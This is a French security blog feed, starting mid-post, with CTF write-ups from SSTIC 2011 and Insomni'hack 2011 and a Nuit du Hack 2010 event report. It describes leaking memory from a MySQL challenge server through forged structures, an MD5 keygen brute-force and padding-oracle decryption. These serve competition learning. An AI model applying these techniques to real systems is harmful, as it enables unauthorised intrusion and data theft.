<p>En gros, on peut demander à la fonction concat() de traiter une fausse structure située à une adresse choisie. Selon que l&rsquo;on passe cette structure en 1er ou 2ème argument à la fonction, cela débouche soit sur une exécution de code (pointeur expand) ou sur une fuite (pointeur p).</p>
<p>Étant donné le caractère &laquo;&nbsp;blind&nbsp;&raquo; de cette exploitation, j&rsquo;ai préféré dans un premier temps dumper le binaire du serveur MySQL. Celui-ci est chargé de façon standard à l&rsquo;adresse 0&#215;08048000. En forgeant une fausse structure et en la passant à substring(), elle aussi vulnérable, et en scriptant tout ça en python, et on récupère ce fameux binaire.</p>
<p>Seul soucis : celui-ci n&rsquo;a aucun symbole et aucune table de section référencée. Impossible de le lancer, donc. En tout cas, on voit bien qu&rsquo;il y a une référence à secret1.dat (les noms de fonction ne sont pas d&rsquo;origine, mais ont été devinés).</p>
<pre>int __cdecl my_open_secret1()
{
 int fd; // [sp+1Ch] [bp-Ch]@1

 fd = ((int (__cdecl *)(_DWORD, _DWORD))my_open)("secret1.dat", 0);
 if ( fd == -1 )
 sub_8048C28();
 return fd;
}</pre>
<p>L&rsquo;appel à open() est en réalité un appel à une fonction dans la section .plt du programme, qui utilise elle-même la section .got. Pour récupérer le code de cette fonction, j&rsquo;ai utilisé toujours cette même faille de fuite d&rsquo;information. Au final, l&rsquo;adresse référencée est dans une librairie (adresse 0xb7XXXXXX). Son code est constitué d&rsquo;instructions <em>mov</em> pour digitaliser des registres généraux, suivies d&rsquo;un <em>call *%gs:0&#215;10</em>, qui n&rsquo;est autre qu&rsquo;un appel système (le code appelé débouche certainement sur l&rsquo;instruction <em>sysenter </em>ou<em> int 0&#215;80</em>). La valeur d&rsquo;eax, 5, permet de vérifier qu&rsquo;il s&rsquo;agit bien de sys_open. Le file descriptor retourné est stocké à l&rsquo;adresse 0x0804F18C, est n&rsquo;est autre que 3 (0, 1 et 2 correspondant respectivement à stdin, stdout et stderr).</p>
<p>Tout ce qu&rsquo;il reste à faire, c&rsquo;est donc trouver un moyen de faire exécuter un read() sur le file descriptor de secret1.dat afin de lire ses 32 octets qui nous manquent pour déchiffrer cette fichue vidéo. Seulement, je ne vois qu&rsquo;une seule technique pour cela, et je n&rsquo;ai pas eu le temps de la tester. La protection NX étant activée (pour s&rsquo;en rendre compte il suffit de voire que l&rsquo;exécution d&rsquo;un ret situé dans le heap foire, alors qu&rsquo;elle fonctionne dans la section .text), la seule solution reste à mon avis le Return Oriented Programming. Sauf que ne disposant ni d&rsquo;une forte expérience dans cet art ancestral, ni d&rsquo;une quantité de temps suffisante (les <a href="http://www.rssil.org/challenge-securite">RSSIL</a> approchent !), je n&rsquo;ai pas eu le temps de creuser plus loin. Dommage, car j&rsquo;ai vraiment l&rsquo;impression d&rsquo;être tout près du but&#8230; à un appel système près <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> . A supposer bien sûr que le déchiffrement de la vidéo est l&rsquo;étape finale&#8230; (là, je sens comme un doute m&rsquo;envahir)</p>
<h3>To be continued</h3>
<p>Comme l&rsquo;année dernière, ce challenge réunit à la fois du parsing, du reverse engineering et de la crypto, mais en plus une partie exploitation de service à distance, sur laquelle j&rsquo;ai buté. J&rsquo;attends avec impatience la solution de l&rsquo;étape manquante, à savoir la récupération de secret1.dat. En tout cas, je ne regrette pas avoir passé de nombreuses heures (jours, en fait) sur cette épreuve, qui m&rsquo;aura fait quelques nœuds aux neurones.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Insomni&#8217;hack 2011</title>
		<link>http://www.segmentationfault.fr/securite-informatique/insomnihack-2011/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/insomnihack-2011/#comments</comments>
		<pubDate>Mon, 07 Mar 2011 23:38:43 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=871</guid>
		<description><![CDATA[Ce week-end s&#8217;est déroulé Insomni&#8217;hack 2011, événement de sécurité se tenant à Genève. 4h de conférences, 6h de challenges, une bonne organisation et une ambiance détendue, tout ce qu&#8217;il fallait pour passer une bonne soirée. Comme Bruno, je me lance dans un compte-rendu des conférences et du challenge. [UPDATE 03/03/2011 : la résolution de l'épreuve [...]]]></description>
			<content:encoded><![CDATA[<p>Ce week-end s&rsquo;est déroulé <a href="http://blog.scrt.ch/2011/03/01/insomnihack-2011-the-final-countdown/" target="_blank">Insomni&rsquo;hack 2011</a>, événement de sécurité se tenant à Genève. 4h de conférences, 6h de challenges, une bonne organisation et une ambiance détendue, tout ce qu&rsquo;il fallait pour passer une bonne soirée. Comme <a href="http://bruno.kerouanton.net/blog/2011/03/05/insomnihack-2011-cest-fini/" target="_blank">Bruno</a>, je me lance dans un compte-rendu des conférences et du challenge.</p>
<p><span id="more-871"></span></p>
<p>[<strong>UPDATE 03/03/2011</strong> : la résolution de l'épreuve du padding oracle a été présentée au dernier <a href="http://www.hackerzvoice.net/meetings">meeting HZV</a>, les slides sont en ligne <a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/PaddingOracle.pdf">ici</a>]</p>
<h3>Conférences</h3>
<h4>Sourcing and Management in IT Security</h4>
<p>L&rsquo;événement commence par une conférence orientée RSSI présentée par Sébastien Bombal, ayant pour thème la gestion du sourcing en matière de sécurité. Celle-ci aborde les problèmes causés par la cascade de sous-traitance, depuis les débuts de l&rsquo;out-sourcing jusqu&rsquo;au cloud-computing, ainsi que les normes associées. Autant le dire tout de suite : cela n&rsquo;étant pas mon domaine, je n&rsquo;ai pas vraiment réussi à suivre de bout en bout&#8230;</p>
<h4>Mobile Malware In Practice</h4>
<p>Axelle Apvrille expose dans cette conférence 3 exemples de virus ciblant les smartphones, et plus précisément Symbian. Le message est clair : les concepteurs de virus ne développent pas leurs bestioles pour le fun, mais pour se faire de l&rsquo;argent. Le principe <a href="http://fr.wikipedia.org/wiki/Keep_it_Simple,_Stupid" target="_blank">KISS</a> s&rsquo;applique aussi aux malwares ! Les exemples montrés se contentent d&rsquo;envoyer des SMS à des numéros surtaxés, ou d&rsquo;intercepter des codes d&rsquo;accès bancaire.  Ce que qui parait fou, c&rsquo;est que dans certains cas, ces malwares sont mêmes signés par Symbian ! En effet, comme l&rsquo;a soulignée la chercheuse, toutes les applications ne sont pas systématiquement analysée avant d&rsquo;être déployées sur le marché. On apprécie aussi les API obscures de Symbian, telles que celle permettant à toute application de désactiver les messages de confirmation utilisateur lorsque celle-ci souhaite avoir accès à Internet, ou encore celle qui installe silencieusement une application&#8230;</p>
<h4>La cryptographie</h4>
<p>Avec un tel titre, tout le monde s&rsquo;attendait à un cours de crypto à la sauce universitaire, bourrée de formules dans tous les sens. C&rsquo;est d&rsquo;ailleurs ce que semble proposer son auteur, <a href="http://crypto.junod.info/" target="_blank">Pascal Junod</a>.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="La crypto, c'est cool" src="https://lh3.googleusercontent.com/_Rzr3MErwyvk/TXVWcoXHUTI/AAAAAAAAFoI/w5oP9R8wqTc/s640/P1000079.JPG" alt="" width="448" height="336" /><p class="wp-caption-text">La crypto, c&#39;est cool !</p></div>
<p>Mais heureusement, après avoir exposé son sommaire qui se révèle être factice, l&rsquo;auteur dévoile le véritable but de la conférence : faire un état de l&rsquo;art de la cryptographie actuelle et de ses échecs pratiques. Une présentation extrèmement intéressante, qui appuie où ça fait mal : l&rsquo;implémentation des algorithmes de chiffrement, et leur choix. Tout y passe : La XBox et <a href="http://fr.wikipedia.org/wiki/Tiny_Encryption_Algorithm" target="_blank">TEA</a>, WEP et RC4, MD5, IPSEC en mode encrypt-only, suites de chiffrement TLS 1.0 avec des tailles de clés minuscules, le secure boot des TI (RSA-512 cassé en 73 jours par un quad-core), et même l&rsquo;ultra-célèbre LM-hash. Que reste-t-il au final ? AES, SHA-2 (bientôt SHA-3), RSA-OAEP et RSA-PSS.</p>
<p>Mais c&rsquo;est sans compter les attaques side-channels, qui regroupent timing-attacks, injection de fautes, mesures de consommation et d&rsquo;émanations électro-magnétiques. Et ces dernières sont d&rsquo;autant plus critiques sur les plate-formes embarquées. Pascal termine alors par un benchmark des librairies opensource de crypto implémentant RSA-OAEP, vis-à-vis de leur résistance à l&rsquo;attaque de <a href="http://www.iacr.org/cryptodb/archive/2001/CRYPTO/21390230.pdf" target="_blank">Manger</a>. Et le résultat est pour le moins&#8230; alarmant.</p>
<div class="wp-caption aligncenter" style="width: 458px"><img title="Résultats du benchmark" src="https://lh3.googleusercontent.com/_Rzr3MErwyvk/TXVWdl4nMDI/AAAAAAAAFoQ/8j6aimjERsc/s640/P1000085.JPG" alt="" width="448" height="336" /><p class="wp-caption-text">Résultats du benchmark</p></div>
<p>Aucune librairie (pas même OpenSSL) n&rsquo;est à ce jour complétement protégée, et il s&rsquo;agit d&rsquo;un véritable problème sur plateformes embarqués. La faute en partie aux multiples brevets détenus par des sociétés spécialisées disposant d&rsquo;algorithmes side-channel-proof&#8230;</p>
<h4>Les outils du mentalisme au service du social engineering</h4>
<p>Dominique Clementi montre dans cette conférence comment le mentalisme peut aider un social-engineer à arriver à ses fins. Le but du mentaliste étant d&rsquo;embrouiller (<em>fuzzer</em>, si je puis dire !) ses victimes pour leur faire admettre l&rsquo;idée que quelque chose de surnaturel s&rsquo;est produit. Ses armes : des gimmicks, des outils automatiques, et surtout beaucoup de psycologie. Entre autres : suggestion, PNL, forçage, hypnose, <a href="http://fr.wikipedia.org/wiki/Lecture_%C3%A0_froid" target="_blank">cold reading</a>&#8230; Une conférence très sympa qui m&rsquo;a beaucoup rappelé les quelques années durant lesquelles j&rsquo;ai pratiqué le close-up (que je pratique toujours, mais très accessoirement).</p>
<h4>ASP.NET et la sécurité du Viewstate</h4>
<p>Alexandre Herzog expose les failles de sécurité concernant le composant Viewstate des plateformes IIS. Il s&rsquo;agit d&rsquo;une variable d&rsquo;état envoyée entre le navigateur et le serveur qui recense entre autres les différents contrôles sérialisés d&rsquo;une page Web. Celle-ci est généralement envoyée par le biais d&rsquo;un champ caché, mais également par l&rsquo;URL. Le problème se pose alors lorsque le filtrage de cette variable fait défaut côté serveur, et mène à des XSS volatiles. Heureusement, par défaut un HMAC est effectuée sur cette dernière, ce qui la rend tamper-proof, et c&rsquo;est d&rsquo;ailleurs ce qui est conseillé afin d&rsquo;éviter les attaques. L&rsquo;auteur montre par ailleurs que le module de validation de requêtes d&rsquo;ASP.NET est inefficace sur cette dernière, car il possède des filtres très minimaux. Il en est de même pour certaines versions du module d&rsquo;encodage HTML (équivalent de htmlentities()), qui ne filtre pas les apostrophes avant .NET 4&#8230;</p>
<p style="text-align: center;">&nbsp;</p>
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Un filtre à toute épreuve... ou pas." src="https://lh3.googleusercontent.com/_Rzr3MErwyvk/TXVXrYIcZtI/AAAAAAAAFow/BJkEO7siNmk/s640/P1000089.JPG" alt="" width="448" height="336" /><p class="wp-caption-text">Un filtre à toute épreuve... ou pas.</p></div>
<h4 style="text-align: left;">Reinventing Old School Security</h4>
<p><a href="http://bruno.kerouanton.net" target="_blank">Bruno Kerouanton</a> termine en beauté par une conférence très axée old-school. Il y montre que la plupart des techniques de protections logicielles actuelles se basent sur celles utilisées par la demoscene à l&rsquo;époque des <a href="http://fr.wikipedia.org/wiki/Thomson_MO5" target="_blank">MO5</a>, <a href="http://fr.wikipedia.org/wiki/Commodore_64" target="_blank">Comodore 64</a> et autres <a href="http://fr.wikipedia.org/wiki/Atari_ST" target="_blank">Atari ST</a>. Il faut dire que ça fait bizarre de voire de telles bestioles qui datent d&rsquo;avant ma naissance <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Au programme : anti-debug, compression et obfuscation du code, utilisation du DMA, écriture entre les pistes des disquettes, et désynchronisation de l&rsquo;écran pour pouvoir afficher une résolution plus grande que celle prévue (les prémices de la HD ?). On y découvre même les origines du fuzzing (utilisation d&rsquo;opcodes non documentés), du GPGPU (utilisation du lecteur de disquette pour accélérer le traitement) et des hooks d&rsquo;interruptions. Vraiment sympa !</p>
<h3>Challenge</h3>
<p>Cette année, 200 participants sont au rendez-vous pour le challenge ! Et cette fois, les équipes étaient autorisées ; c&rsquo;est donc au sein de <a href="http://www.hackerzvoice.net/" target="_blank">HZV</a> que j&rsquo;ai concouru. Cette année, SCRT a amélioré l&rsquo;organisation en distribuant des badges RFID aux équipes afin d&rsquo;accélérer la validation des points. Non, le pétage de ces badges ne faisait pas partie du challenge (et il n&rsquo;aurait de toutes façon rien apporté <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ). Par contre, gros point noir : comme l&rsquo;année dernière, il n&rsquo;y avait pas d&rsquo;accès Internet. Seules les équipes prévoyantes (et disposant d&rsquo;un forfait suisse) avaient prévues une connexion 3G&#8230;</p>
<p>Peu de temps après l&rsquo;installation, l&rsquo;interface contenant la liste des épreuves est disponible. Au programme : crypto, prog, réseau, reversing, stéganographie, et web. Voici un résumé de ce que j&rsquo;ai pu faire.</p>
<h4>Crypto 1</h4>
<p>Ayant laissé le Web aux autres, je me suis personnellement acharné dans un premier temps sur les épreuves de crypto (personne ne voulait les faire&#8230;), à commencer par la première. Il s&rsquo;agissait d&rsquo;un texte <a href="http://crypto.junod.info/wp-content/uploads/2011/03/secret.txt" target="_blank">chiffré</a>, le but étant de le déchiffrer. Un indice : une table de fréquences de texte anglais traînait à côté du fichier, indiquant que certaines lettres était bien plus fréquentes que d&rsquo;autres&#8230; La substitution mono-alphabétique était dont tout indiquée. Cependant, n&rsquo;ayant pas retrouvé <a href="http://www.cryptool.org/" target="_blank">Cryptool</a> tout de suite, je me suis galéré à calculer les fréquences du texte dans un premier temps en Python, et à commencer la substitution à la main, puis avec l&rsquo;outil une fois retrouvé (ou comment perdre du temps lorsqu&rsquo;on est pas réveillé). Finalement, le texte déchiffré n&rsquo;était autre que le Hacker&rsquo;s Manifesto, de The Mentor&#8230; Souvenir souvenir <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<h4>Reverse 4</h4>
<p>Il s&rsquo;agissait d&rsquo;une application Android à keygenner : <a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/validate.apk_.zip">validate.apk</a>. On sort le SDK ainsi que dex2jar et jd-gui, et zou !</p>
<pre>public void performCheck()
{
 if (this.mEditText_number != null);
 int k;
 try
 {
 String str1 = this.mEditText_number.getText().toString();
 Integer localInteger1 = Integer.valueOf(
    Integer.parseInt(str1.substring(0, 4)));
 Integer localInteger2 = Integer.valueOf(
    Integer.parseInt(str1.substring(4, 8)));
 byte[] arrayOfByte1 = { 76, 76, 147, 123, 103, 204, 141,
    120, 92, 234, 30, 66, 204, 234, 24, 92 };
 int i = localInteger1.intValue();
 int j = localInteger2.intValue();
 String str2 = Integer.valueOf(i + j).toString();
 byte[] arrayOfByte2 = getMD5(str2);
 k = 0;
 if (k &gt;= 16)
 {
 label185: this.mEditText_number.setText("validated!");
 label201: return;
 }
 int l = arrayOfByte2[k];
 int i1 = arrayOfByte1[k];
 if (l == i1)
 break label241;
 label241: this.mEditText_number.setText("fail!");
 }
 catch (Exception localException)
 {
 localException.printStackTrace();
 break label201:
 k += 1;
 break label185:
 }
 }
}</pre>
<p>Le code généré est un peu crado, mais on comprend très vite le traitement effectué. Le serial rentré doit être composé de chiffres, ceux-ci sont découpés en 2 groupes de 4 pour former 2 entiers, et le md5 de leur somme est ensuite comparé à une valeur constante. Autrement dit, il suffit de bruteforcer de la sorte en Python :</p>
<pre>import md5
MAGIC = "4c4c937b67cc8d785cea1e42ccea185c"

for i in range(10000):
  for j in range(10000):
    if(md5.new(str(i+j)).hexdigest() == MAGIC):
      print i, j</pre>
<p>Le résultat tombe au bout d&rsquo;un dixième de seconde : MAGIC == MD5(&laquo;&nbsp;6012&Prime;). Toute combinaison dont la somme fait 6012 est valide ; on choisit donc &laquo;&nbsp;60120000&Prime; qui fonctionne à merveille.</p>
<h4>Programmation 4</h4>
<p>Les épreuves les moins validées rapportant plus de points, je me suis lancé dans celle-ci. Il s&rsquo;agissait de se connecter sur un port, et de résoudre un challenge 100 fois de suite. Celui-ci était simple : 4 séries de lettres A, B, C et D étaient affichées sous la forme d&rsquo;un carré, avec une lettre par ligne remplacée par un X. Le but : répondre au serveur la liste des 4 lettres manquantes. Rien à voir avec le hack, mais fun quand même <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Voici le code du client qui résout l&rsquo;épreuve (désolé, je n&rsquo;ai pas celui du serveur) :</p>
<pre>import socket

s = socket.socket()
s.connect(("epreuves2.insomni.hack", 4567))

def get_challenge():
  r = s.recv(4096).split("\n")[:-1]
  print r
  return [i.split() for i in r]

def solve_line(line):
  for i in range(4):
    l = chr(ord('A')+i)
    if(l not in line):
      return l

def solve_one_challenge():
  c = get_challenge()
  res =  "".join([' '.join(solve_line(c[i])) for i in range(4)])
  print res
  s.send(res+"\n")

for i in range(110):
  solve_one_challenge()</pre>
<p>Oui, le programme crashe lamentablement une fois les 100 challenges résolus, et alors ? Le flag est bien retourné par le serveur et apparaît de façon bien visible (désolé, je n&rsquo;ai pas de screenshot).</p>
<h4>Crypto 2</h4>
<p>A priori, on s&rsquo;attend à un niveau légèrement plus élevé que la crypto 1. Que nenni, il s&rsquo;agit en réalité d&rsquo;une exploitation de Padding Oracle&#8230; En gros, elle consistait à déchiffrer un texte chiffré en 3DES utilisé en mode CBC avec un padding <a href="http://fr.wikipedia.org/wiki/Public_Key_Cryptographic_Standards" target="_blank">PKCS #5</a>. Bien entendu, sans connaître la clé. Seules information disponible : on disposait d&rsquo;une URL permettant de chiffrer un texte choisi, et une 2ème permettant de vérifier si le chiffrement était valide (comprendre <em>padding</em>) ou non. En d&rsquo;autres termes, ce que l&rsquo;on appelle un oracle de padding.</p>
<p>Je m&rsquo;y étais intéressé vaguement il y a quelques mois, mais je n&rsquo;avais à présent jamais réalisée en pratique. Faisable, me direz-vous&#8230; sauf que sans accès à Internet, cela l&rsquo;est nettement moins. Je me suis donc acharné sur cette épreuve, en essayant de me souvenir des détails de l&rsquo;algorithme de bruteforce intelligent. Au bout de plus de 2 heures, j&rsquo;ai finalement abandonné. La suite plus bas dans cet article&#8230;</p>
<h4>Web 1</h4>
<p>Ne voulant pas rester sur un échec, je décide alors de donner un coup de main à mes collègues sur l&rsquo;épreuve Web 1. Il s&rsquo;agissait de générer le <a href="http://fr.wikipedia.org/wiki/Code_QR" target="_blank">QR-code</a> d&rsquo;un billet pour une place dans un match qui se trouvait à un emplacement précis, un billet existant étant fourni. Armé de mon Android, le décodage du QR-code n&rsquo;a pas pris longtemps,celui-ci contenait le numéro de place en clair, ainsi qu&rsquo;un md5 calculé à partir de ce dernier. Le modifier semblait donc trivial. Le problème a commencé à se poser en ce qui concerne la génération du nouveau QR-code. De multiples bibliothèques existent, mais encore une fois, le problème de l&rsquo;absence d&rsquo;accès à Internet se faisait cruellement sentir&#8230; Jusqu&rsquo;au moment ou un organisateur nous fasse remarquer qu&rsquo;un outil (zxing) est visiblement disponible sur le repository dédié aux outils. Après avoir mis un bon quart d&rsquo;heure à comprendre comment lancer l&rsquo;interface flash de l&rsquo;outil (aucun jar n&rsquo;était fournit et nous ne disposions pas d&rsquo;ant pour compiler les sources&#8230;) nous avons finalement réussi à générer une place valide.</p>
<h4>Résultats du challenge</h4>
<p>A 1h du matin, les scores sont freezés : l&rsquo;équipe <strong>bles</strong> (l&rsquo;équipe Nibbles était fragmenté en 2 teams Ni et bles&#8230;) arrive en tête, et HZv en 2ème. Nous restons toutefois très satisfaits de notre performance, vu que nous n&rsquo;étions que 5, et relativement peu entraînés (première participation à un CTF pour 4 des participants), et sans accès Internet. Dans la table des scores qui suit, les <em>breakthroughs </em>correspondant aux épreuves qui ont été validées en 1er par la team en question.</p>
<div id="attachment_878" class="wp-caption aligncenter" style="width: 527px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/scoreboard-2K11-2.jpg"><img class="size-full wp-image-878  " title="scoreboard-2K11-2" src="http://www.segmentationfault.fr/wp-content/uploads/2011/03/scoreboard-2K11-2.jpg" alt="Scores finaux" width="517" height="276" /></a><p class="wp-caption-text">Scores finaux (merci Shell-Storm !)</p></div>
<h4>Padding Oracle, motherfucker, can you sploit it??</h4>
<p>Ce n&rsquo;est que le surlendemain, après avoir été hanté par l&rsquo;épreuve crypto 2 (comme le lapin blanc de <a href="http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/" target="_blank">l&rsquo;année dernière</a>), que je m&rsquo;y suis repenché sérieusement, lors de mon retour en France. Suite à une discussion avec le concepteur de l&rsquo;épreuve, celui-ci a accepté de me fournir les <a href="../wp-content/uploads/2011/03/crypto2_source.zip">sources</a> et a accepté de les rendre publiques, ce qui était très sympathique de sa part. Ayant profité du week-end pour récupérer le <a href="http://www.iacr.org/archive/eurocrypt2002/23320530/cbc02_e02d.pdf" target="_blank">papier</a> exposant l&rsquo;algorithme d&rsquo;attaque (également repris <a href="http://www.limited-entropy.com/padding-oracle-attacks" target="_blank">ici</a>), mon défi est alors de résoudre l&rsquo;épreuve avant d&rsquo;arriver Gare de Lyon (et que la batterie de mon laptop soit accessoirement épuisée).</p>
<p>Et finalement, j&rsquo;y suis parvenu ! Le script <a href="http://www.segmentationfault.fr/wp-content/uploads/2011/03/decrypt.py_.txt">decrypt.py</a> brute-force l&rsquo;oracle jusqu&rsquo;à ce que le texte soit totalement déchiffré.</p>
<pre>$ decrypt.py
107 100 14 189 34 129 105 16
45 183 29 222 187 198 199 73
186 149 253 197 187 249 250 132
122 234 55 178 99 117 171 142
C'est_bon_Peggy_je_gere!</pre>
<p>Dans la foulée, j&rsquo;ai réalisé une petite présentation que j&rsquo;ai donnée au <a href="http://www.hackerzvoice.net/meetings">meeting HZV</a> du samedi 2 avril. Les slides sont en ligne <a href="../wp-content/uploads/2011/03/PaddingOracle.pdf">ici</a>. Concernant le script, j&rsquo;ai essayé de commenter suffisamment le script pour qu&rsquo;il soit compréhensible. Et de toutes façon, je n&rsquo;ai rien inventé puisque je me suis intégralement basé sur le papier cité ci-dessus.</p>
<p>En tout cas, on peut dire que ce challenge aura été riche en apprentissage. Je regrette juste que l&rsquo;accès à Internet n&rsquo;ait pas pu être donné, ou à défaut, un repository un peu plus fourni d&rsquo;outils et de documentation&#8230; En tout cas bravo à l&rsquo;équipe d&rsquo;organisation, et à l&rsquo;année prochaine !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/insomnihack-2011/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Nuit Du Hack 2010 &#8211; Bilan</title>
		<link>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 20:28:31 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Nuit du hack]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=843</guid>
		<description><![CDATA[La Nuit Du Hack 2010 est déjà finie&#8230; Courte et intense sont je pense les deux qualificatifs les plus adaptées à cet événement qui a battu une fois de plus ses records en terme de fréquentation. Je n&#8217;ai pas encore les chiffres exacts, mais nous avons enregistré pas moins de 600 entrées. Autant dire que [...]]]></description>
			<content:encoded><![CDATA[<p>La Nuit Du Hack 2010 est déjà finie&#8230; Courte et intense sont je pense les deux qualificatifs les plus adaptées à cet événement qui a battu une fois de plus ses records en terme de fréquentation. Je n&rsquo;ai pas encore les chiffres exacts, mais nous avons enregistré pas moins de 600 entrées. Autant dire que la péniche Concorde Atlantique battait son plein&#8230; Comme <a href="http://silkcut.wordpress.com/2010/06/20/ndh2010-unofficial-party-report/">Silkcut</a>, je vais tenter de faire un petit résumé de l&rsquo;événement, avec mon point de vue en tant que membre de l&rsquo;équipe d&rsquo;organisation.<span id="more-843"></span></p>
<p>[EDIT] Je viens de mettre en ligne mes slides <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/XeeK.pdf">ici</a>. Toutes les autres sont dispos sur <a href="http://www.nuitduhack.com/slides2010-fr-nuit-du-hack.htm">le site officiel</a>.</p>
<p>[EDIT 2] Le challenge public a été mis en ligne sur <a href="http://wargame.nuitduhack.com/">cette page</a>. Bonne chance à tous <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Préparation</h3>
<p>Bien que l&rsquo;événement ne dure qu&rsquo;une nuit, il s&rsquo;agit d&rsquo;un travail de préparation de plusieurs mois. Outre le temps passé à rechercher des conférenciers et des ateliers, le développement du CTF et du challenge commun nous a pris plus d&rsquo;un mois. Contrairement aux autres années, nous avions vraiment pris de l&rsquo;avance sur l&rsquo;organisation de l&rsquo;événement, qui a débuté fin 2009.</p>
<p>En ce qui me concerne, j&rsquo;étais chargé de gérer les conférences, et surtout veiller à ce que l&rsquo;on ne prenne pas (trop) de retard sur le planning. J&rsquo;ai fort heureusement été aidé par Silkcut et Vorex, sans qui je n&rsquo;aurais probablement jamais réussi à gérer les deux tracks en simultané. Les ateliers étaient gérés par <a href="http://www.ghostsinthestack.org/">Heurs</a>, les bars tenus par Crashfr, Pieuvre, Tr00ps, Freeman et Ginette, Olive s&rsquo;occupait de l&rsquo;organisation générale, John, Qbix et Philemon aux platines, Rosa, Cathy et Picon à l&rsquo;accueil, pendant que <a href="http://www.virtualabs.fr/">Virtualabs</a>, <a href="http://sh4ka.fr/">Sh4ka</a>, <a href="http://mysterie.fr/blog/">Mysterie</a>, <a href="http://www.shell-storm.org/">Shell-storm</a>, <a href="http://niklosweb.free.fr/">NiklosKoda</a> et <a href="http://infond.blogspot.com/">T0ka7a</a> s&rsquo;occupaient des challenges. Et encore, je suis sûr d&rsquo;oublier à peu près la moitié des autres membres de l&rsquo;équipe qui se sont investis dans l&rsquo;installation de l&rsquo;événement et son bon déroulement.</p>
<h3>Conférences</h3>
<p>N&rsquo;ayant pu au final suivre que peu de conférences (sans cesse à courir partout pour gérer le timing et les imprévus) je ne pourrais malheureusement pas faire de résumé détaillé ici. Fort heureusement les slides seront bientôt publiées sur <a href="http://www.nuitduhack.com/">le site officiel</a>. J&rsquo;ai plus ou moins suivi la track 2 au rez-de chaussée, avec :</p>
<ul>
<li> Malwares Unix par <a href="http://www.c0a8.org/">Julien Reveret</a>, où on apprend les facilités de propagation de codes malveillants qu&rsquo;offrent ce type de plateforme</li>
<li>Xeek &#8211; XSS Easy Exploitation framework présentée par moi-même, où j&rsquo;ai enfin <a href="http://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/">publié</a> l&rsquo;outil sur lequel je bosse depuis un an. Le public a l&rsquo;air d&rsquo;avoir bien aimé la démo de xeekconsole, dommage que j&rsquo;ai manqué de temps pour faire celle de xeekproxy. Je pensais faire un atelier à ce sujet, mais finalement je n&rsquo;ai pas eu le temps. Les slides sont dispos <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/06/XeeK.pdf">ici</a>, je rajouterai prochainement un tutorial d&rsquo;installation/utilisation.</li>
<li>La sécurité antivirale est un échec, par <a href="http://www.ghostsinthestack.org/">Heurs</a>, qui détruit le mythe de l&rsquo;anti-virus en exposant une demi douzaine de vulnérabilités trouvées par fuzzing d&rsquo;IOCTL, dont des 0-days, sur des solutions telles que Kaspersky, Bitdefender, Kerio, Comodo, etc.</li>
<li>Embedded Security par <a href="http://iphonejtag.blogspot.com/">Geohot</a>, une des guest-stars de l&rsquo;événement, qui expose les mécanismes de sécurité des plateformes embarquées telles que les téléphones Nokia, l&rsquo;iPhone et la PS3, et comment il est parvenu à toutes les faire tomber. Vraiment une excellent conférence&#8230; juste dommage que des problèmes vidéo nous aient empêchés de retransmettre la conférence à l&rsquo;étage du dessus avec une qualité convenable.</li>
<li>Virtualisation et sécurité, par Emmanuel Istace, qui démontre que les deux ne sont pas synonymes, et qu&rsquo;une fois de plus beaucoup de problèmes à ce sujet sont du à l&rsquo;interface chaise-clavier&#8230;</li>
<li>Analyse avancée de la mémoire physique par <a href="http://www.msuiche.net/">Matthieu Suiche</a>, qui expose les différentes techniques d&rsquo;acquisition et d&rsquo;analyse à l&rsquo;aide des différents outils dont il est l&rsquo;auteur : Win32dd, Moonsols Memory Toolkit</li>
<li>Lockpicking avancé par Cocolitos et Mr Jack, qui montrent par l&rsquo;exemple différentes techniques d&rsquo;ouverture de serrures de haute sécurité (certaines étant utilisées dans des coffres forts).</li>
</ul>
<p>D&rsquo;après les retours que j&rsquo;ai eu, les conférences ont été bien appréciées. Quelques problèmes techniques ont été rencontrés : bug de micro, streaming de mauvaise qualité pour les confs de Geohot et Matthieu Suiche, coupure d&rsquo;électricité&#8230; Je regrette vraiment ces problèmes qui font partie des aléas du direct (<a href="http://fr.wikipedia.org/wiki/Loi_de_Murphy">Murphy</a> était parmi nous) et j&rsquo;espère que cela n&rsquo;aura pas trop embêté le public.</p>
